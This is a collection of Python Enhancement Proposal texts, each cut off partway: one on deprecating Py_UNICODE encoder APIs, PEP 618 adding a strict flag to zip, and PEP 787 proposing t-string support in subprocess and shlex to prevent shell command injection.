* ``PyUnicode_EncodeRawUnicodeEscape()``
* ``PyUnicode_EncodeCharmap()``
* ``PyUnicode_TranslateCharmap()``
* ``PyUnicode_EncodeDecimal()``
* ``PyUnicode_TransformDecimalToASCII()``


Alternative Ideas
=================

Replace ``Py_UNICODE*`` with ``PyObject*``
------------------------------------------

As described in the "Alternative APIs" section, some APIs don't have
public alternative APIs accepting ``PyObject *unicode`` input.
And some public alternative APIs have restrictions like missing
``errors`` and ``byteorder`` parameters.

Instead of removing deprecated APIs, we can reuse their names for
alternative public APIs.

Since we have private alternative APIs already, it is just renaming
from private name to public and deprecated names.

============================= ================================
 Rename to                     Rename from
============================= ================================
``PyUnicode_EncodeASCII()``    ``_PyUnicode_AsASCIIString()``
``PyUnicode_EncodeLatin1()``   ``_PyUnicode_AsLatin1String()``
``PyUnicode_EncodeUTF7()``     ``_PyUnicode_EncodeUTF7()``
``PyUnicode_EncodeUTF8()``     ``_PyUnicode_AsUTF8String()``
``PyUnicode_EncodeUTF16()``    ``_PyUnicode_EncodeUTF16()``
``PyUnicode_EncodeUTF32()``    ``_PyUnicode_EncodeUTF32()``
============================= ================================

Pros:

* We have a more consistent API set.

Cons:

* Backward incompatible.
* We have more public APIs to maintain for rare use cases.
* Existing public APIs are enough for most use cases, and
  ``PyUnicode_AsEncodedString()`` can be used in other cases.


Replace ``Py_UNICODE*`` with ``Py_UCS4*``
-----------------------------------------

We can replace ``Py_UNICODE`` with ``Py_UCS4`` and undeprecate
these APIs.

UTF-8, UTF-16, UTF-32 encoders support ``Py_UCS4`` internally.
So ``PyUnicode_EncodeUTF8()``, ``PyUnicode_EncodeUTF16()``, and
``PyUnicode_EncodeUTF32()`` can avoid to create a temporary Unicode
object.


Pros:

* We can avoid creating temporary Unicode object when encoding from
  ``Py_UCS4*`` into bytes object with UTF-8, UTF-16, UTF-32 codecs.

Cons:

* Backward incompatible.
* We have more public APIs to maintain for rare use cases.
* Other Python implementations that want to support Python/C API need
  to support these APIs too.
* If we change the Unicode internal representation to UTF-8 in the
  future, we need to keep UCS-4 support only for these APIs.


Replace ``Py_UNICODE*`` with ``wchar_t*``
-----------------------------------------

We can replace ``Py_UNICODE`` with ``wchar_t``. Since ``Py_UNICODE``
is typedef of ``wchar_t`` already, this is status quo.

On platforms where ``sizeof(wchar_t) == 4``, we can avoid to create a
temporary Unicode object when encoding from ``wchar_t*`` to bytes
objects using UTF-8, UTF-16, and UTF-32 codec, like the "Replace
``Py_UNICODE*`` with ``Py_UCS4*``" idea.


Pros:

* Backward compatible.
* We can avoid creating temporary Unicode object when encode from
  ``Py_UCS4*`` into bytes object with UTF-8, UTF-16, UTF-32 codecs
  on platform where ``sizeof(wchar_t) == 4``.

Cons:

* Although Windows is the most major platform that uses ``wchar_t``
  heavily, these APIs need to create a temporary Unicode object
  always because ``sizeof(wchar_t) == 2`` on Windows.
* We have more public APIs to maintain for rare use cases.
* Other Python implementations that want to support Python/C API need
  to support these APIs too.
* If we change the Unicode internal representation to UTF-8 in the
  future, we need to keep UCS-4 support only for these APIs.


Rejected Ideas
==============

Emit runtime warning
--------------------

In addition to existing compiler warning, emitting runtime
``DeprecationWarning`` is suggested.

But these APIs doesn't release GIL for now. Emitting a warning from
such APIs is not safe. See this example.

.. code-block::

   PyObject *u = PyList_GET_ITEM(list, i);  // u is borrowed reference.
   PyObject *b = PyUnicode_EncodeUTF8(PyUnicode_AS_UN


id: pep-0618.rst
content:
PEP: 618
Title: Add Optional Length-Checking To zip
Author: Brandt Bucher <brandt@python.org>
Sponsor: Antoine Pitrou <antoine@python.org>
BDFL-Delegate: Guido van Rossum <guido@python.org>
Status: Final
Type: Standards Track
Created: 01-May-2020
Python-Version: 3.10
Post-History: 01-May-2020, 10-May-2020, 16-Jun-2020
Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/NLWB7FVJGMBBMCF4P3ZKUIE53JPDOWJ3


Abstract
========

This PEP proposes adding an optional ``strict`` boolean keyword
parameter to the built-in ``zip``.  When enabled, a ``ValueError`` is
raised if one of the arguments is exhausted before the others.


Motivation
==========

It is clear from the author's personal experience and a `survey of the
standard library <examples_>`_ that much (if not most) ``zip`` usage
involves iterables that *must* be of equal length.  Sometimes this
invariant is proven true from the context of the surrounding code, but
often the data being zipped is passed from the caller, sourced
separately, or generated in some fashion.  In any of these cases, the
default behavior of ``zip`` means that faulty refactoring or logic
errors could easily result in silently losing data.  These bugs are
not only difficult to diagnose, but difficult to even detect at all.

It is easy to come up with simple cases where this could be a problem.
For example, the following code may work fine when ``items`` is a
sequence, but silently start producing shortened, mismatched results
if ``items`` is refactored by the caller to be a consumable iterator::

    def apply_calculations(items):
        transformed = transform(items)
        for i, t in zip(items, transformed):
            yield calculate(i, t)

There are several other ways in which ``zip`` is commonly used.
Idiomatic tricks are especially susceptible, because they are often
employed by users who lack a complete understanding of how the code
works.  One example is unpacking into ``zip`` to lazily "unzip" or
"transpose" nested iterables::

    >>> x = [[1, 2, 3], ["one" "two" "three"]]
    >>> xt = list(zip(*x))

Another is "chunking" data into equal-sized groups::

    >>> n = 3
    >>> x = range(n ** 2),
    >>> xn = list(zip(*[iter(x)] * n))

In the first case, non-rectangular data is usually a logic error.  In
the second case, data with a length that is not a multiple of ``n`` is
often an error as well.  However, both of these idioms will silently
omit the tail-end items of malformed input.

Perhaps most convincingly, the use of ``zip`` in the standard-library
``ast`` module created a bug in ``literal_eval`` which `silently
dropped parts of malformed nodes
<https://bugs.python.org/issue40355>`_::

    >>> from ast import Constant, Dict, literal_eval
    >>> nasty_dict = Dict(keys=[Constant(None)], values=[])
    >>> literal_eval(nasty_dict)  # Like eval("{None: }")
    {}

In fact, the author has `counted dozens of other call sites
<examples_>`_ in Python's standard library and tooling where it
would be appropriate to enable this new feature immediately.


Rationale
=========

Some critics assert that constant boolean switches are a "code-smell",
or go against Python's design philosophy.  However, Python currently
contains several examples of boolean keyword parameters on built-in
functions which are typically called with compile-time constants:

- ``compile(..., dont_inherit=True)``
- ``open(..., closefd=False)``
- ``print(..., flush=True)``
- ``sorted(..., reverse=True)``

Many more exist in the standard library.

The idea and name for this new parameter were `originally proposed
<https://mail.python.org/archives/list/python-ideas@python.org/message/6GFUADSQ5JTF7W7OGWF7XF2NH2XUTUQM>`_
by Ram Rachum.  The thread received over 100 replies, with the
alternative "equal" receiving a similar amount of support.

The author does not have a strong preference between the two choices,
though "equal equals" *is* a bit awkward in prose.  It may also
(wrongly) imply some notion of "equality" between the zipped items::

    >>> z = zip([2.0, 4.0, 6.0], [2, 4, 8], equal=True)


Specification
=============

When the built-in ``zip`` is called with the keyword-only argument
``strict=True``, the resulting iterator will raise a ``ValueError`` if
the arguments are exhausted at differing lengths.  This error will
occur at the point when iteration would normally stop today.


Backward Compatibility
======================

This change is fully backward-compatible.  ``zip`` currently takes no
keyword arguments, and the "non-strict" default behavior when
``strict`` is omitted remains unchanged.


Reference Implementation
========================

The author has drafted a `C implementation
<https://github.com/python/cpython/pull/20921>`_.

An approximate Python translation is::

    def zip(*iterables, strict=False):
        if not iterables:
            return
        iterators = tuple(iter(iterable) for iterable in iterables)
        try:
            while True:
                items = []
                for iterator in iterators:
                    items.append(next(iterator))
                yield tuple(items)
        except StopIteration:
            if not strict:
                return
        if items:
            i = len(items)
            plural = " " if i == 1 else "s 1-"
            msg = f"zip() argument {i+1} is shorter than argument{plural}{i}"
            raise ValueError(msg)
        sentinel = object()
        for i, iterator in enumerate(iterators[1:], 1):
            if next(iterator, sentinel) is not sentinel:
                plural = " " if i == 1 else "s 1-"
                msg = f"zip() argument {i+1} is longer than argument{plural}{i}"
                raise ValueError(msg)

Rejected Ideas
==============

Add ``itertools.zip_strict``
----------------------------

This is the alternative with the most support on the Python-Ideas
mailing list, so it deserves to be discussed in some detail here.  It
does not have any disqualifying flaws, and could work well enough as a
substitute if this PEP is rejected.

With that in mind, this section aims to outline why adding an optional
parameter to ``zip`` is a smaller change that ultimately does a better
job of solving the problems motivating this PEP.


Precedent
'''''''''

It seems that a great deal of the motivation driving this alternative
is that ``zip_longest`` already exists in ``itertools``.  However,
``zip_longest`` is in many ways a much more complicated, specialized
utility: it takes on the responsibility of filling in missing values,
a job neither of the other variants needs to concern themselves with.

If both ``zip`` and ``zip_longest`` lived alongside each other in
``itertools`` or as builtins, then adding ``zip_strict`` in the same
location would indeed be a much stronger argument.  However, the new
"strict" variant is conceptually *much* closer to ``zip`` in interface
and behavior than ``zip_longest``, while still not meeting the high
bar of being its own builtin.  Given this situation, it seems most
natural for ``zip`` to grow this new option in-place.


Usability
'''''''''

If ``zip`` is capable of preventing this class of bug, it becomes much
simpler for users to enable the check at call sites with this
property.  Compare this with importing a drop-in replacement for a
built-in utility, which feels somewhat heavy just to check a tricky
condition that should "always" be true.

Some have also argued that a new function buried in the standard
library is somehow more "discoverable" than a keyword parameter on the
built-in itself.  The author does not agree with this assessment.


Maintenance Cost
''''''''''''''''

While implementation should only be a secondary concern when making
usability improvements, it is important to recognize that adding a new
utility is significantly more complicated than modifying an existing
one.  The CPython implementation accompanying this PEP is simple and
has no measurable performance impact on default ``zip`` be


id: pep-0787.rst
content:
PEP: 787
Title: Safer subprocess usage using t-strings
Author: Nick Humrich <nick@humrich.us>, Alyssa Coghlan <ncoghlan@gmail.com>
Discussions-To: https://discuss.python.org/t/pep-787-safer-subprocess-usage-using-t-strings/88311
Status: Deferred
Type: Standards Track
Requires: 750
Created: 13-Apr-2025
Python-Version: 3.15
Post-History: `14-Apr-2025 <https://discuss.python.org/t/pep-787-safer-subprocess-usage-using-t-strings/88311>`__

Abstract
========

:pep:`750` introduced template strings (t-strings) as a generalization of f-strings,
providing a way to safely handle string interpolation in various contexts. This PEP
proposes extending the :mod:`subprocess` and :mod:`shlex` modules to natively support t-strings, enabling
safer and more ergonomic shell command execution with interpolated values, as well as
serving as a reference implementation for the t-string feature to improve API ergonomics.

PEP Deferral
============

During the discussions of the initial draft of the PEP, it became clear that t-strings provide
a potential opportunity to offer ``shell=True`` levels of syntactic convenience for complex
subprocess invocations without all of the security and cross-platform compatibility concerns
that arise with giving user provided text access to a full system shell.

To that end, the PEP authors now plan to work on an experimental :pypi:`t-string
based subprocess invocation library <tstrprocess>` through the Python 3.14 beta
period (and beyond), before preparing a revised draft of the proposal for Python 3.15.

Motivation
==========

Despite the safety benefits and flexibility that template strings offer in PEP 750,
they lack a concrete consumer implementation in the standard library that demonstrates
their practical application. One of the most compelling use cases for t-strings is safer
shell command execution, as noted in the withdrawn :pep:`501`:

.. code-block:: python

    # Unsafe with f-strings:
    os.system(f"echo {message_from_user}")

    # Also unsafe with f-strings
    subprocess.run(f"echo {message_from_user}", shell=True)

    # Fails with f-strings
    subprocess.run(f"echo {message_from_user}")

    # Safe with t-strings and POSIX-compliant shell quoting:
    subprocess.run(t"echo {message_from_user}", shell=True)

    # Safe on all platforms with t-strings:
    subprocess.run(t"echo {message_from_user}")

    # Safe on all platforms without t-strings:
    subprocess.run(["echo", str(message_from_user)])

Currently, developers must choose between convenience (using f-strings with potential
security risks) and safety (using more verbose, list-based APIs). By adding native t-string
support to the :mod:`subprocess` module, we provide a consumer reference implementation that
demonstrates the value of t-strings while addressing a common security concern.

Rationale
=========

The subprocess module is an ideal candidate for t-string support for several reasons:

* Command injection vulnerabilities in shell commands are a well-known security risk.
* The :mod:`subprocess` module already supports both string and list-based command specifications.
* There's a natural mapping between t-strings and proper shell escaping that provides both convenience and safety.
* It serves as a practical showcase for t-strings that developers can immediately understand and appreciate.

By extending subprocess to handle t-strings natively, we make it easier to write secure code without sacrificing
the convenience that led many developers to use potentially unsafe f-strings.

Specification
=============

This PEP proposes two main additions to the standard library:

#. A new ``sh()`` renderer function in the :mod:`shlex` module for safe shell command construction
#. Adding t-string support to the :mod:`subprocess` module's core functions,
    particularly :class:`subprocess.Popen`, :func:`subprocess.run`, and other related functions
    that accept a command argument


Renderer for shell escaping added to :mod:`shlex`
-------------------------------------------------

As a reference implementation, a renderer for safe POSIX shell escaping will be added to
the :mod:`shlex` module. This renderer would be called ``sh`` and would be equivalent to
calling ``shlex.quote`` on each field value in the template literal.

Thus::

  os.system(shlex.sh(t"cat {myfile}"))

would have the same behavior as::

  os.system("cat " + shlex.quote(myfile)))


The addition of ``shlex.sh`` will NOT change the existing admonishments in the
:mod:`subprocess` documentation that passing ``shell=True`` is best avoided, nor the
reference from the :func:`os.system` documentation to the higher level ``subprocess`` APIs.

The t-string processor implementation would look like::

    from string.templatelib import Template, Interpolation

    def sh(template: Template) -> str:
        parts: list[str] = []
        for item in template:
            if isinstance(item, Interpolation):
                # shlex.sh implementation, so shlex.quote can be used directly
                parts.append(quote(str(item.value)))
            else:
                parts.append(item)

        # shlex.sh implementation, so `join` references shlex.join
        return join(parts)

This allows for explicit escaping of t-strings for shell usage::

    import shlex
    # Safe POSIX-compliant shell command construction
    command = shlex.sh(t"cat {filename}")
    os.system(command)

Changes to subprocess module
----------------------------

With the additional renderer in the shlex module, and the addition of template strings,
the :mod:`subprocess` module can be changed to handle accepting template strings
as an additional input type to ``Popen``, as it already accepts a sequence, or a string,
with different behavior for each. In return, all :class:`subprocess.Popen` higher level
functions such as :func:`subprocess.run` could accept strings in a safe way
(on all systems for ``shell=False`` and on :ref:`POSIX systems <pep-0787-defer-non-posix-shells>` for ``shell=True``).

For example::

  subprocess.run(t"cat {myfile}", shell=True)

would automatically use the ``shlex.sh`` renderer provided in this PEP. Therefore, using
``shlex`` inside a ``subprocess.run`` call like so::

  subprocess.run(shlex.sh(t"cat {myfile}"), shell=True)

would be redundant, as ``run`` would automatically render any template literals
through ``shlex.sh``

When ``subprocess.Popen`` is called without ``shell=True``, t-string support would still
provide subprocess with a more ergonomic syntax. For example::

  subprocess.run(t"cat {myfile} --flag {value}")

would be equivalent to::

  subprocess.run(["cat", myfile, "--flag", value])

or, more accurately::

  subprocess.run(shlex.split(f"cat {shlex.quote(myfile)} --flag {shlex.quote(value)}"))

It would do this by first using the ``shlex.sh`` renderer, as above, then using
``shlex.split`` on the result.

The implementation inside ``subprocess.Popen._execute_child`` would check for t-strings::

    from string.templatelib import Template

    if isinstance(args, Template):
        import shlex
        if shell:
            args = shlex.sh(args)
        else:
            args = shlex.split(shlex.sh(args))

Backwards Compatibility
=======================

This change is fully backwards compatible as it only adds new functionality without altering existing behavior.
The subprocess module will continue to handle strings and lists in the same way it currently does.

Security Implications
=====================

This PEP is explicitly designed to improve security by providing a safer alternative to using
f-strings with shell commands. By automatically applying appropriate escaping based on context
(shell or non-shell), it helps prevent command injection vulnerabilities.

However, it's worth noting that when ``shell=True`` is used, the safety is limited to
POSIX-compliant shells. On Windows systems where cmd.exe or PowerShell may be used as the shell,
the escaping mechanism provided by :func:`shlex.quote` i


